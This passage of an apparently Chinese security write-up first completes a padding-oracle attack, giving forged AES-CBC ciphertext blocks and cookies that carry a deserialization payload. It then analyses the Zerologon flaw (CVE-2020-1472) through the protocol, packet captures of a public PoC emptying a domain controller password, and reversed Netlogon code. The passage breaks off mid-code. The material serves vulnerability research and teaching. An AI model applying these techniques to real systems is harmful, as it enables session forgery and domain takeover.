a\x83e\xad\xd2\x8f\xce\xda{\xa3\x19.\x0b\xcc\xce\x9d\x99>>V\xa4\xcb\xc7\x12mu\xbe\x9f\x0b#\xd9\x95S\xfe\xdby\xa5z\xe9\xff1\xfe\xf1hdA\xa6\x8b\xe5|)\xe6\xdfb\x1d\x9f\xec\xa7\xb4\x8a%Uz&\xe0\xc7\xd9\xb7L(\xb7\xdc\xe7\x8c\x1a\x06\xa3s\xb7f\xa6&mI\x19\xca\xa7\x0e<\xd6\x9fh\x89!\xea\x8a\xc4<\xc4\xed\x96Wu!k\xd2\xe9\x89\xcd\xf9\xb2\xc3\x88\xf9\xf9\xfc8\xf0\x8e\x00\x11\x05\x14\t\\\'\'^TC\x17\x19\xa8\x17\xa1\x1b}T>\xae\x11\xacl\x15\x8b\xab8q\x83\x80\xb8\x84\xbaPY\xc7\x89\x9e\xd37\x08\xfdM\x85\xcd+\xb4<\xf0&\x8b\x01\xa0\xea:y,:\xe96V\x997\xbe\xea\xfbL\xa5\xe28s\xfe\x0b\n\xb5O\xa1\xe9\x7fl\xf0T\rv\xc1\xfbiBN\x94J\xc9\x19\xbbA\xac\xfe\xdf{c\x1c\x848\x1d\xdb\xc7\xc83\xb3\x81i\x1fe\xdf\x97|\xb4\xf8]\xe3\tKAKB;\xc1tl/2\x9b\x13.2j\x19x'
加 C'n-1 | C'n:'\xc2\xbe\xd8\x8eW-\x06\\\x0f\xc4|\xae\x04\xb2\xbc\x10\x84\xbf\xd7uZ\xe5"\xdb,\xd4\xaf\x99\xccL\x1d\x86Q\xa8\xc0\xa0\x04q<\x15G\x04\xd8\x82kq\xb3\x16\x08\xe8^\xa8z\xa8Syu\xf9\xb3\x1f\x85\xefO\x01)%\rz\x9a\xf3\xbb\x07\t\x7f&7\xd6(w\xf9+\xcf\xdb\xd42v\x9b\xc0\xd0\xf9\xe6 \x00\xf5;\xf2z\x19YDz\xfd\xc4\x19\xfe\xe6\xb5a\xe7e\xd2Z\x95\xfd\x06\xd7\xbd\x95\xd31\xa7 \x1c\xab2 a\x83e\xad\xd2\x8f\xce\xda{\xa3\x19.\x0b\xcc\xce\x9d\x99>>V\xa4\xcb\xc7\x12mu\xbe\x9f\x0b#\xd9\x95S\xfe\xdby\xa5z\xe9\xff1\xfe\xf1hdA\xa6\x8b\xe5|)\xe6\xdfb\x1d\x9f\xec\xa7\xb4\x8a%Uz&\xe0\xc7\xd9\xb7L(\xb7\xdc\xe7\x8c\x1a\x06\xa3s\xb7f\xa6&mI\x19\xca\xa7\x0e<\xd6\x9fh\x89!\xea\x8a\xc4<\xc4\xed\x96Wu!k\xd2\xe9\x89\xcd\xf9\xb2\xc3\x88\xf9\xf9\xfc8\xf0\x8e\x00\x11\x05\x14\t\\\'\'^TC\x17\x19\xa8\x17\xa1\x1b}T>\xae\x11\xacl\x15\x8b\xab8q\x83\x80\xb8\x84\xbaPY\xc7\x89\x9e\xd37\x08\xfdM\x85\xcd+\xb4<\xf0&\x8b\x01\xa0\xea:y,:\xe96V\x997\xbe\xea\xfbL\xa5\xe28s\xfe\x0b\n\xb5O\xa1\xe9\x7fl\xf0T\rv\xc1\xfbiBN\x94J\xc9\x19\xbbA\xac\xfe\xdf{c\x1c\x848\x1d\xdb\xc7\xc83\xb3\x81i\x1fe\xdf\x97|\xb4\xf8]\xe3\tKAKB;\xc1tl/2\x9b\x13.2j\x19x\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[\xff]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


当然还要再加个 base64 加密才能进行测试,在测试过程中保持 C'n 不变,逐字节测试 C'n-1(原理参考前一章),第一轮测试结果出来,当 C'n-1 为 "w\xdb\xf3D\nd\x88\x1a\x98\xc7\xe0\xbdY\xb28\xaf" 时,解出的明文为 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 。将 C'n-1 中的每个字节与 0x10 和期待的明文(payload)分组中相应的字节进行异或,得到密文分组。


C'n 为 0 时,填充为 16 的 cookie:'\xc2\xbe\xd8\x8eW-\x06\\\x0f\xc4|\xae\x04\xb2\xbc\x10\x84\xbf\xd7uZ\xe5"\xdb,\xd4\xaf\x99\xccL\x1d\x86Q\xa8\xc0\xa0\x04q<\x15G\x04\xd8\x82kq\xb3\x16\x08\xe8^\xa8z\xa8Syu\xf9\xb3\x1f\x85\xefO\x01)%\rz\x9a\xf3\xbb\x07\t\x7f&7\xd6(w\xf9+\xcf\xdb\xd42v\x9b\xc0\xd0\xf9\xe6 \x00\xf5;\xf2z\x19YDz\xfd\xc4\x19\xfe\xe6\xb5a\xe7e\xd2Z\x95\xfd\x06\xd7\xbd\x95\xd31\xa7 \x1c\xab2 a\x83e\xad\xd2\x8f\xce\xda{\xa3\x19.\x0b\xcc\xce\x9d\x99>>V\xa4\xcb\xc7\x12mu\xbe\x9f\x0b#\xd9\x95S\xfe\xdby\xa5z\xe9\xff1\xfe\xf1hdA\xa6\x8b\xe5|)\xe6\xdfb\x1d\x9f\xec\xa7\xb4\x8a%Uz&\xe0\xc7\xd9\xb7L(\xb7\xdc\xe7\x8c\x1a\x06\xa3s\xb7f\xa6&mI\x19\xca\xa7\x0e<\xd6\x9fh\x89!\xea\x8a\xc4<\xc4\xed\x96Wu!k\xd2\xe9\x89\xcd\xf9\xb2\xc3\x88\xf9\xf9\xfc8\xf0\x8e\x00\x11\x05\x14\t\\\'\'^TC\x17\x19\xa8\x17\xa1\x1b}T>\xae\x11\xacl\x15\x8b\xab8q\x83\x80\xb8\x84\xbaPY\xc7\x89\x9e\xd37\x08\xfdM\x85\xcd+\xb4<\xf0&\x8b\x01\xa0\xea:y,:\xe96V\x997\xbe\xea\xfbL\xa5\xe28s\xfe\x0b\n\xb5O\xa1\xe9\x7fl\xf0T\rv\xc1\xfbiBN\x94J\xc9\x19\xbbA\xac\xfe\xdf{c\x1c\x848\x1d\xdb\xc7\xc83\xb3\x81i\x1fe\xdf\x97|\xb4\xf8]\xe3\tKAKB;\xc1tl/2\x9b\x13.2j\x19xw\xdb\xf3D\nd\x88\x1a\x98\xc7\xe0\xbdY\xb28\xaf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
成功的 C'n-1:'w\xdb\xf3D\nd\x88\x1a\x98\xc7\xe0\xbdY\xb28\xaf'
payload 最后一组:'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x02\x02'
Cn-1' 密文分组:'g\xcb\xe3T\x1at\x98\n\x88\xd7\xf0\xadI\xda*\xbd'


测试成功时使用的 cookie 如下:


测试成功的 cookie:wr7YjlctBlwPxHyuBLK8EIS/13Va5SLbLNSvmcxMHYZRqMCgBHE8FUcE2IJrcbMWCOheqHqoU3l1+bMfhe9PASklDXqa87sHCX8mN9Yod/krz9vUMnabwND55iAA9TvyehlZRHr9xBn+5rVh52XSWpX9Bte9ldMxpyAcqzIgYYNlrdKPztp7oxkuC8zOnZk+Plaky8cSbXW+nwsj2ZVT/tt5pXrp/zH+8WhkQaaL5Xwp5t9iHZ/sp7SKJVV6JuDH2bdMKLfc54waBqNzt2amJm1JGcqnDjzWn2iJIeqKxDzE7ZZXdSFr0umJzfmyw4j5+fw48I4AEQUUCVwnJ15UQxcZqBehG31UPq4RrGwVi6s4cYOAuIS6UFnHiZ7TNwj9TYXNK7Q88CaLAaDqOnksOuk2Vpk3vur7TKXiOHP+Cwq1T6Hpf2zwVA12wftpQk6USskZu0Gs/t97YxyEOB3bx8gzs4FpH2Xfl3y0+F3jCUtBS0I7wXRsLzKbEy4yahl4d9vzRApkiBqYx+C9WbI4rwAAAAAAAAAAAAAAAAAAAAA=
替换 Cn-1' 后的cookie:wr7YjlctBlwPxHyuBLK8EIS/13Va5SLbLNSvmcxMHYZRqMCgBHE8FUcE2IJrcbMWCOheqHqoU3l1+bMfhe9PASklDXqa87sHCX8mN9Yod/krz9vUMnabwND55iAA9TvyehlZRHr9xBn+5rVh52XSWpX9Bte9ldMxpyAcqzIgYYNlrdKPztp7oxkuC8zOnZk+Plaky8cSbXW+nwsj2ZVT/tt5pXrp/zH+8WhkQaaL5Xwp5t9iHZ/sp7SKJVV6JuDH2bdMKLfc54waBqNzt2amJm1JGcqnDjzWn2iJIeqKxDzE7ZZXdSFr0umJzfmyw4j5+fw48I4AEQUUCVwnJ15UQxcZqBehG31UPq4RrGwVi6s4cYOAuIS6UFnHiZ7TNwj9TYXNK7Q88CaLAaDqOnksOuk2Vpk3vur7TKXiOHP+Cwq1T6Hpf2zwVA12wftpQk6USskZu0Gs/t97YxyEOB3bx8gzs4FpH2Xfl3y0+F3jCUtBS0I7wXRsLzKbEy4yahl4Z8vjVBp0mAqI1/CtSdoqvQAAAAAAAAAAAAAAAAAAAAA=


对测试成功的 cookie 进行 Base64 & AES-128-CBC 解密如下,可发现其相对于原始 cookie 增加了两个块,分别对应了 C'n-1 和 C'n 两个密文分组的解密结果,只要保证最后一个分组的解密结果为 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 就可以了:



如下所示,只要填充正确,就可以成功反序列化出 root 对象,后面加上的数据并不影响反序列化,成功的反序列化将会得到正确的服务端响应。


使用替换 Cn-1' 后的 cookie 进行测试,经过 Base64 解密以及 AES-128-CBC 解密后得到结果如下,可以发现,最后一个明文分组正是我们想要的结果:



然后用 Cn-1' 代替 C'n,再次爆破获得使解密后得到 16 字节填充明文的 C'n-1,第二次测试时初始的 C'n-1 | C'n 为 '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[\xff]g\xcb\xe3T\x1at\x98\n\x88\xd7\xf0\xadI\xda*\xbd',C'n 为上一组的测试结果,得到的 C'n-1 为 '!\xc0Ck\xb3\xb2SU\xbb\xf6\xf1\xb1!\xbbH\x9e',然后使其与 0x10 以及相应的明文分组进行异或得到 Cn-1',最终计算出的 Cn-1' 为 '\x03\xe4S{\xa6\x9b\xbc\xbaT\x19\x14Y;\x07X\x8e',如下所示:


第二次测试:'\xc2\xbe\xd8\x8eW-\x06\\\x0f\xc4|\xae\x04\xb2\xbc\x10\x84\xbf\xd7uZ\xe5"\xdb,\xd4\xaf\x99\xccL\x1d\x86Q\xa8\xc0\xa0\x04q<\x15G\x04\xd8\x82kq\xb3\x16\x08\xe8^\xa8z\xa8Syu\xf9\xb3\x1f\x85\xefO\x01)%\rz\x9a\xf3\xbb\x07\t\x7f&7\xd6(w\xf9+\xcf\xdb\xd42v\x9b\xc0\xd0\xf9\xe6 \x00\xf5;\xf2z\x19YDz\xfd\xc4\x19\xfe\xe6\xb5a\xe7e\xd2Z\x95\xfd\x06\xd7\xbd\x95\xd31\xa7 \x1c\xab2 a\x83e\xad\xd2\x8f\xce\xda{\xa3\x19.\x0b\xcc\xce\x9d\x99>>V\xa4\xcb\xc7\x12mu\xbe\x9f\x0b#\xd9\x95S\xfe\xdby\xa5z\xe9\xff1\xfe\xf1hdA\xa6\x8b\xe5|)\xe6\xdfb\x1d\x9f\xec\xa7\xb4\x8a%Uz&\xe0\xc7\xd9\xb7L(\xb7\xdc\xe7\x8c\x1a\x06\xa3s\xb7f\xa6&mI\x19\xca\xa7\x0e<\xd6\x9fh\x89!\xea\x8a\xc4<\xc4\xed\x96Wu!k\xd2\xe9\x89\xcd\xf9\xb2\xc3\x88\xf9\xf9\xfc8\xf0\x8e\x00\x11\x05\x14\t\\\'\'^TC\x17\x19\xa8\x17\xa1\x1b}T>\xae\x11\xacl\x15\x8b\xab8q\x83\x80\xb8\x84\xbaPY\xc7\x89\x9e\xd37\x08\xfdM\x85\xcd+\xb4<\xf0&\x8b\x01\xa0\xea:y,:\xe96V\x997\xbe\xea\xfbL\xa5\xe28s\xfe\x0b\n\xb5O\xa1\xe9\x7fl\xf0T\rv\xc1\xfbiBN\x94J\xc9\x19\xbbA\xac\xfe\xdf{c\x1c\x848\x1d\xdb\xc7\xc83\xb3\x81i\x1fe\xdf\x97|\xb4\xf8]\xe3\tKAKB;\xc1tl/2\x9b\x13.2j\x19x\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[\xff]g\xcb\xe3T\x1at\x98\n\x88\xd7\xf0\xadI\xda*\xbd'
成功的 cookie 后缀:'\xc2\xbe\xd8\x8eW-\x06\\\x0f\xc4|\xae\x04\xb2\xbc\x10\x84\xbf\xd7uZ\xe5"\xdb,\xd4\xaf\x99\xccL\x1d\x86Q\xa8\xc0\xa0\x04q<\x15G\x04\xd8\x82kq\xb3\x16\x08\xe8^\xa8z\xa8Syu\xf9\xb3\x1f\x85\xefO\x01)%\rz\x9a\xf3\xbb\x07\t\x7f&7\xd6(w\xf9+\xcf\xdb\xd42v\x9b\xc0\xd0\xf9\xe6 \x00\xf5;\xf2z\x19YDz\xfd\xc4\x19\xfe\xe6\xb5a\xe7e\xd2Z\x95\xfd\x06\xd7\xbd\x95\xd31\xa7 \x1c\xab2 a\x83e\xad\xd2\x8f\xce\xda{\xa3\x19.\x0b\xcc\xce\x9d\x99>>V\xa4\xcb\xc7\x12mu\xbe\x9f\x0b#\xd9\x95S\xfe\xdby\xa5z\xe9\xff1\xfe\xf1hdA\xa6\x8b\xe5|)\xe6\xdfb\x1d\x9f\xec\xa7\xb4\x8a%Uz&\xe0\xc7\xd9\xb7L(\xb7\xdc\xe7\x8c\x1a\x06\xa3s\xb7f\xa6&mI\x19\xca\xa7\x0e<\xd6\x9fh\x89!\xea\x8a\xc4<\xc4\xed\x96Wu!k\xd2\xe9\x89\xcd\xf9\xb2\xc3\x88\xf9\xf9\xfc8\xf0\x8e\x00\x11\x05\x14\t\\\'\'^TC\x17\x19\xa8\x17\xa1\x1b}T>\xae\x11\xacl\x15\x8b\xab8q\x83\x80\xb8\x84\xbaPY\xc7\x89\x9e\xd37\x08\xfdM\x85\xcd+\xb4<\xf0&\x8b\x01\xa0\xea:y,:\xe96V\x997\xbe\xea\xfbL\xa5\xe28s\xfe\x0b\n\xb5O\xa1\xe9\x7fl\xf0T\rv\xc1\xfbiBN\x94J\xc9\x19\xbbA\xac\xfe\xdf{c\x1c\x848\x1d\xdb\xc7\xc83\xb3\x81i\x1fe\xdf\x97|\xb4\xf8]\xe3\tKAKB;\xc1tl/2\x9b\x13.2j\x19x!\xc0Ck\xb3\xb2SU\xbb\xf6\xf1\xb1!\xbbH\x9eg\xcb\xe3T\x1at\x98\n\x88\xd7\xf0\xadI\xda*\xbd'
取出 C'n-1:'!\xc0Ck\xb3\xb2SU\xbb\xf6\xf1\xb1!\xbbH\x9e'
payload 倒数第二组:'24\x00\x00\x059\xff\xff\xff\xff\xf5\xf8\n\xac\x00\x00'
Cn-1' 密文分组(倒数第二组):'\x03\xe4S{\xa6\x9b\xbc\xbaT\x19\x14Y;\x07X\x8e'


不断重复这个过程,直到所有明文分组都被异或过,即可得到所有分组的密文。最终结果如下:


Base64(AES-128-CBC(payload)):'OzKeQRabnakdygkxXOuQGEtDK1BDxq+kfn9r1UC5pb79H6OPKzC82kob17yvRHo3MhR58NP29BMhM1I62IvWU6/xmjJ9rIogU/NDz4N742pcZopzLUaaKVYO4dS9ISbXlMc14tsHlYQxhMg9R4dEE4tQCohibmoZ5jC3XgWdrlqYGgT3P/9Cro1Lo7ysSr65l9y5wgOwj+W4mjZ0lfQUktgmYWVXPtmAaHuxfWfeDNmLlWuC3QX4w5e/jvfAMHLj93L4jx4lWvFs91ZtohXD+HQC2YIHxrTzx975hbfiFFD/m3b0aINtopvhW07pm1e296AG4s/1uh+j2Bys8P0aYwPkU3umm7y6VBkUWTsHWI5ny+NUGnSYCojX8K1J2iq9AAAAAAAAAAAAAAAAAAAAAA=='
AES-128-CBC(payload):';2\x9eA\x16\x9b\x9d\xa9\x1d\xca\t1\\\xeb\x90\x18KC+PC\xc6\xaf\xa4~\x7fk\xd5@\xb9\xa5\xbe\xfd\x1f\xa3\x8f+0\xbc\xdaJ\x1b\xd7\xbc\xafDz72\x14y\xf0\xd3\xf6\xf4\x13!3R:\xd8\x8b\xd6S\xaf\xf1\x9a2}\xac\x8a S\xf3C\xcf\x83{\xe3j\\f\x8as-F\x9a)V\x0e\xe1\xd4\xbd!&\xd7\x94\xc75\xe2\xdb\x07\x95\x841\x84\xc8=G\x87D\x13\x8bP\n\x88bnj\x19\xe60\xb7^\x05\x9d\xaeZ\x98\x1a\x04\xf7?\xffB\xae\x8dK\xa3\xbc\xacJ\xbe\xb9\x97\xdc\xb9\xc2\x03\xb0\x8f\xe5\xb8\x9a6t\x95\xf4\x14\x92\xd8&aeW>\xd9\x80h{\xb1}g\xde\x0c\xd9\x8b\x95k\x82\xdd\x05\xf8\xc3\x97\xbf\x8e\xf7\xc00r\xe3\xf7r\xf8\x8f\x1e%Z\xf1l\xf7Vm\xa2\x15\xc3\xf8t\x02\xd9\x82\x07\xc6\xb4\xf3\xc7\xde\xf9\x85\xb7\xe2\x14P\xff\x9bv\xf4h\x83m\xa2\x9b\xe1[N\xe9\x9bW\xb6\xf7\xa0\x06\xe2\xcf\xf5\xba\x1f\xa3\xd8\x1c\xac\xf0\xfd\x1ac\x03\xe4S{\xa6\x9b\xbc\xbaT\x19\x14Y;\x07X\x8eg\xcb\xe3T\x1at\x98\n\x88\xd7\xf0\xadI\xda*\xbd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'


使用伪造的 cookie 发送请求可解得以下明文,这就是我们想加密的恶意 payload,由于前 16 个字节为 IV,所以解密出来的数据是纯净的:



最后来看复现结果,理论上,payload 越长所需的测试次数就会越多,攻击所需的时间就会越长:






CVE-2020-1472 NetLogon 权限提升漏洞



CVE-2020-1472 NetLogon 权限提升漏洞是微软 8 月份发布安全公告披露的紧急漏洞,CVSS漏洞评分10分,漏洞利用后果严重,未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞。成功利用此漏洞的攻击者可获得域管理员访问权限。


协议分析


Netlogon 服务用于维护计算机与对域中的用户和其他服务进行身份验证的域控制器之间的安全通道,Netlogon 客户端和服务端之间通过RPC调用来进行通信。在进行正式通信之前,双方需进行身份认证并协商出一个 SessionKey。SessionKey 将用于保护双方后续 RPC 通信流量。以下为 Netlogon 身份验证握手流程:



首先由客户端发起挑战(传送Client challenge),服务端响应Server challenge,然后双方都使用共享的密钥以及来自双方的 challenges 进行计算得到 SessionKey,这样双方就拥有了相同的 SessionKey 以及 Client challenge 和 Server challenge。然后客户端使用 SessionKey 作为密钥加密 Client challenge 得到 Client credential 并发送给服务端,服务端也采用相同的方法计算出一个 Client credential,比较这两者是否相同,如果相同,则客户端身份认证成功,然后双方对调来验证服务端的 Server credential,如果成功,则说明双方身份认证成功且拥有相同的 SessionKey,后续可采用该密钥进行加密和完整性保护。


  • SessionKey 计算过程

如果双方协商了AES support,就会采用 HMAC-SHA256 算法来计算 SessionKey,具体流程如下:


使用MD4算法对密码的 Unicode 字符串进行散列得到 M4SS,然后以 M4SS 为密钥采用 HMAC-SHA256 算法对 ClientChallenge + ServerChallenge 进行哈希得到 SessionKey,取 SessionKey 的低16个字节作为最终的 SessionKey。


ComputeSessionKey(SharedSecret, ClientChallenge, ServerChallenge) M4SS := MD4(UNICODE(SharedSecret)) CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS)); CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge)); CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge)); CALL SHA256Result(HashContext, SessionKey); SET SessionKey to lower 16 bytes of the SessionKey;


  • Credential 计算过程

如果双方协商了AES support,后续会采用 AES-128 加密算法在 8 位 CFB 模式下计算 Credential(来自MS-NRPC文档)。其计算过程大致如下:


在 ComputeNetlogonCredential 函数中将 IV 初始化为 0,Input 接收 Challenge,使用 IV、SessionKey 对 Input 进行加密,AesEncrypt 使用的算法为 8 位 CFB 模式的 AES-128。


ComputeNetlogonCredential(Input, SessionKey, Output) SET IV = 0 CALL AesEncrypt(Input, SessionKey, IV, Output)


下面来插播一下 AES-CFB8 算法,如下所示:


首先初始化随机 IV(16字节),对 IV 进行 AES 运算,将结果的第一个字节与 PLAINTEXT(明文) 的相应字节(此处为第一个字节)进行异或,将异或结果放在 IV 末尾,IV 整体向前移1位。然后重复上述 "加密->异或->移位" 操作,直到取出了 PLAINTEXT 中的所有字节,最终得到等长的 CIPHERTEXT(密文)。



然而,Netlogon 在计算 Credential 的过程中直接将 IV 初始化为 0,这会使 AES-CFB8 算法更加脆弱,Secura 的研究人员是在阅读 Microsoft 文档时发现了这个安全问题。由于在认证过程中 SessionKey 是随机的 (至少 ServerChallenge 是随机的,所以 SessionKey 一定是随机的),因而对 IV 进行 AES 块加密得到的结果也是随机的,但只有结果中的第一个字节有机会参与后续运算,这个字节为 X 的概率为 1/256(一个字节可能的结果为 0 ~ 255)。那么我们假设第一轮 IV(全0) 加密结果的第一个字节为 X,我们就知道全 0 的输入可以获得输出 X ,因而我们可以构造 Challenge 为 XXXXXXXY,使得每一次异或的结果都为 0(除了最后一次,最后一位不参与加密运算),因为每一次加密结果的第一个字节都是 X,与 X 进行异或还是 0 ,因而每一轮的 "IV" 还是全 0 的。这样加密结果是可以预测的,我们可以得到一个确定的 Credential:00 00 00 00 00 00 00 (X Xor Y)。因而在平均 256 次尝试之后,可以成功使用 00 00 00 00 00 00 00 (X Xor Y) 模式的 Credential 欺骗服务器认证通过而无需知道真正的密码以及 SessionKey,利用的关键是获得一个对全 0 IV 进行加密之后得到结果的第一字节为 X 的环境。POC 中选择将 X、Y 设置为 0,如下所示:



  • Authenticator 认证

在协商出 SessionKey 后,客户端就可以申请远程调用了,如 POC 中使用的 NetrServerPasswordSet2,这也是简略流程图中的最后一步。除了 NetrLogonSamLogonEx 之外,所有需要安全通道的调用都将使用 Netlogon Authenticator。Authenticator 结构如下所示,包括 8 字节的 Credential 和 4 字节的 Timestamp。


 typedef struct _NETLOGON_AUTHENTICATOR {   NETLOGON_CREDENTIAL Credential;   DWORD Timestamp; } NETLOGON_AUTHENTICATOR,  *PNETLOGON_AUTHENTICATOR;


客户端在每次发送新请求时,都会记录当前时间戳(ClientAuthenticator.Timestamp,表示自1970年1月1日(UTC)00:00:00起的秒数),然后更新 ClientCredential(之前的 ClientCredential 加 Timestamp),然后以 SessionKey 为密钥使用之前协商的加密算法计算出 ClientAuthenticator.Credential,之后将 Authenticator 附在调用请求中一起发送给服务端。


SET TimeNow = current time;SET ClientAuthenticator.Timestamp = TimeNow;SET ClientStoredCredential = ClientStoredCredential + TimeNow;CALL ComputeNetlogonCredential(ClientStoredCredential, Session-Key, ClientAuthenticator.Credential);


服务端接收到请求后将采用相同的步骤计算 TempCredential( ClientCredential 和 SessionKey 是一致的),比较 TempCredential 和 客户端发来的 ClientAuthenticator.Credential 是否一致,一致则通过客户端认证。然后服务端将 ClientCredential 加1之后进行同样的运算,得到 ServerAuthenticator.Credential ,将 Authenticator 附在响应包中。


SET ServerStoredCredential = ServerStoredCredential + ClientAuthenticator.Timestamp;CALL ComputeNetlogonCredential(ServerStoredCredential, Session-Key, TempCredential);IF TempCredential != ClientAuthenticator.Credential THEN return access denied errorSET ServerStoredCredential = ServerStoredCredential + 1;CALL ComputeNetlogonCredential(ServerStoredCredential, Session-Key, ServerAuthenticator.Credential);


然后客户端更新 ClientCredential(自加1),进行同样的运算得到 TempCredential ,判断 TempCredential 和服务端发来的 ServerAuthenticator.Credential 是否一致,一致则通过认证,否则重新建立安全通道。

SET ClientStoredCredential = ClientStoredCredential + 1;CALL ComputeNetlogonCredential(ClientStoredCredential, Session-Key, TempCredential);IF TempCredential != ServerAuthenticator.Credential THEN return abort


POC复现分析


使用公开的POC进行漏洞复现,如下所示,目标系统存在该漏洞,密码成功被置为空。



同时使用Wireshark抓包,前面说过 Netlogon 采用 RPC(Remote Procedure Call Protocol,远程过程调用协议)来进行通信。RPC 是一种通过网络从远程计算机程序上请求服务而不需要了解底层网络技术的协议。RPC 允许用户在程序中调用一个函数,而这个函数将在另外一个或多个远程机器上执行,并将结果返回给最初进行 RPC 调用的机器,在这个过程中RPC体系会替用户完成网络上连接建立、会话握手、用户验证、参数传递、结果返回等细节问题,使得远程过程调用和本地函数调用一样方便。因而,我们直接关注用户验证阶段就好。


注意 NetrServerReqChallenge 和 NetrServerAuthenticate3 请求&响应包,直接翻到最后一组。NetrServerReqChallenge 请求包将 Server Handle、Computer Name 以及 Client Challenge 序列化数据发送至服务端,其中,Client Challenge 为 "00 00 00 00 00 00 00 00"。



服务端返回 Server Challenge 为 "7a 06 53 36 16 8d 5f 78"。



发送 NetrServerAuthenticate3 请求,传送 Server Handle、Client Credential、Negotiation options等参数,Client Credential 依旧还是 "00 00 00 00 00 00 00 00"。其实,在每次尝试中 Client Challenge、Client Credential 都是 8 字节全零数据,只有最后一次认证成功了(成功了就不用尝试了呢)。



这次,服务端返回认证成功的代码(STATUS_SUCCESS),Server Credential 和服务端身份认证相关,不必关注。只需要记得这次使得身份认证成功的 Server Challenge 为 "7a 06 53 36 16 8d 5f 78" 就好,后面会有个小验证。



再接下来是发送 NetrServerPasswordSet2 请求,如下图所示,参数为 Server Handle(PrimaryName),还有一些 Wireshark 没有识别出来的参数 AccountName、SecureChannelType、ComputerName、Authenticator、ClearNewPassword,我按照格式用不同颜色的笔标记出来了,其中,Authenticator 和 ClearNewPassword 都是全 0 的:



然后服务端返回其 Authenticator,至此密码已成功被置为空。



逆向分析


POC中先后调用了 NetrServerReqChallenge 函数和 NetrServerAuthenticate3 函数。因而,服务端会通过 NetrServerReqChallenge 函数接收 ClientChallenge 并生成 ServerChallenge,在接收到 NetrServerAuthenticate3 请求后会调用 NetrServerAuthenticate3 函数进行认证。以下为两个函数原型,可对比抓包数据来看,其中,in 和 out 分别对应了客户端和服务端请求响应的参数。


NTSTATUS NetrServerReqChallenge( [in, unique, string] LOGONSRV_HANDLE PrimaryName, [in, string] wchar_t* ComputerName, [in] PNETLOGON_CREDENTIAL ClientChallenge, [out] PNETLOGON_CREDENTIAL ServerChallenge);
NTSTATUS NetrServerAuthenticate3( [in, unique, string] LOGONSRV_HANDLE PrimaryName, [in, string] wchar_t* AccountName, [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType, [in, string] wchar_t* ComputerName, [in] PNETLOGON_CREDENTIAL ClientCredential, [out] PNETLOGON_CREDENTIAL ServerCredential, [in, out] ULONG * NegotiateFlags, [out] ULONG * AccountRid);


重点来看服务端对客户端身份认证环节,在 NetrServerAuthenticate3 函数中会调用 NlMakeSessionKey 函数计算 SessionKey,然后调用 NlComputeCredentials 函数计算 ClientCredential,比较客户端发来的 ClientCredential 和自己计算出来的是否相同。


//NetrServerAuthenticate3  _mm_store_si128((__m128i *)&v58, v23);    // v58 => md4(unicode(secret))  LODWORD(v45) = NlMakeSessionKey(flags, (__int64)&v58, (__int64)CC, (__int64)SC);    // 这里计算SessionKey  if ( (signed int)v45 < 0 )  {    NlPrintDomRoutine(      0x100u,      (__int64)v9,      (__int64)L"NetrServerAuthenticate: Can't NlMakeSessionKey for %ws 0x%lx.\n",      (__int64)v7);      RtlLeaveCriticalSection(&NlGlobalChallengeCritSect);      goto LABEL_59;   }  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: SessionKey %lu = ", v22, v25);  NlpDumpBuffer(0x4000000, (__int64)&SessionKey, 0x10u);  NlComputeCredentials(CC, pbOutput, &SessionKey, *&flag);    // 这里计算ClientCredential  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: ClientCredential %lu GOT  = ", v22, v26);  NlpDumpBuffer(0x4000000, 0i64, 8u);  NlPrintRoutine(0x4000000u, (__int64)L"NetrServerAuthenticate: ClientCredential %lu MADE = ", v22, v27);  NlpDumpBuffer(0x4000000, (__int64)pbOutput, 8u);  if ( v0 == *(_QWORD *)pbOutput )    //验证接收的ClientCredential和刚计算出的是否相等
1: kd> pnetlogon!NetrServerAuthenticate3+0x399:00007ffb`0df74799 488b4580 mov rax,qword ptr [rbp-80h]1: kd> netlogon!NetrServerAuthenticate3+0x39d:00007ffb`0df7479d 488b00 mov rax,qword ptr [rax]1: kd> netlogon!NetrServerAuthenticate3+0x3a0:00007ffb`0df747a0 483b45b0 cmp rax,qword ptr [rbp-50h]1: kd> db poi(rbp-80) l800000083`db04efc8 00 00 00 00 00 00 00 00 ........1: kd> db rbp-50 l800000083`db7de780  99 8f 65 7c 7e 91 e0 99                          ..e|~...


在计算 ClientCredential 的过程中会调用 SymCryptCfbEncrypt 函数进行 AES-CFB8  运算,如下所示,会循环调用 SymCryptAesEncrypt 函数对数据块进行加密, IV 被初始化为 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00。


//SymCryptCfbEncrypt
if ( num_8 >= num_1 ) // a2=1 { v9 = vars30; num_f = v4 - num_1; // f v11 = v5 - vars30; // vars38 - vars30 当然是8了 do { (*(void (__fastcall **)(__int64, char *, char *))(v22 + 8))(SessionKey, IV, &Src);// SymCryptAesEncrypt,结果保存在src中
